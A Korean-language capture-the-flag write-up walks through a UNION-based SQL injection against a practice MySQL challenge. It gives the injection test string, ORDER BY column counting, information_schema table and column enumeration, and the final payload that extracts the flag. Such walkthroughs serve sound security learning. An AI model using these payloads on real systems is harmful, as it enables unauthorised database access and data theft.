문제 페이지에 들어가니 테이블이 출력되어 있다.
1. SQL Injection이 가능한지 확인.
mario' or '1'='1 을 입력했더니 mario를 출력한다.
2. 컬럼 수 확인.
📚 order by
select 컬럼 from 테이블이름 where 조건 order by [컬럼명][desc/asc];order by desc : 내림차순
order by asc: 오름차순 (디폴트)
order by 1 : 첫번째 컬럼을 기준으로 오름차순 정렬
order by 4로 입력하면 4번째 컬럼을 기준으로 오름차순 정렬이다.
이걸 이용하여 테이블의 컬럼 개수를 확인할 수 있다.
order by 5 는 결과가 뜨지 않으니 컬럼 개수는 4개이다.
3. 데이터베이스이름 확인
database()
를 이용하여 데이터베이스명을 확인할 수 있다.
📚 UNION
/*ex*/select 컬럼1,컬럼2 from 테이블이름 where 조건 union select~~~여러 개의 SQL쿼리를 하나로 합친다.
주의할 점은 컬럼의 개수가 같아야 한다.
UNION은 중복을 제거한다. 중복을 제거하지 않으려면 UNION ALL을 사용한다.
4. 테이블이름 확인
information_schema 이용하여 테이블 이름을 확인할 수 있다.
📚information_schema
MySQL 서버 내에 존재하는 DB의 메타정보(테이블,컬럼,인덱스 등)를 모아둔 DB이다.
읽기전용으로 수정이 불가능하다.
이 문제에서 사용할 것은
Columns와 tables 이다.
columns : 모든 스키마의 컬럼 확인
tables : 생성된 모든 테이블 정보
' union select 1,table_name,3,4 from information_schema.tables where table_schema='sqli_1'#
를 입력했더니
flag_table, plusFlag_table, user_info
테이블 3개를 확인 할 수 있다.
5. 컬럼이름 확인
flag_table의 컬럼명을 알아보려고 한다.
' union select 1,column_name,3,4 from information_schema.columns where table_name='flag_table'#
입력 시 결과
컬럼명 flag 확인.
6. 데이터 확인
' union select 1,flag,3,4 from flag_table #
플래그 확인!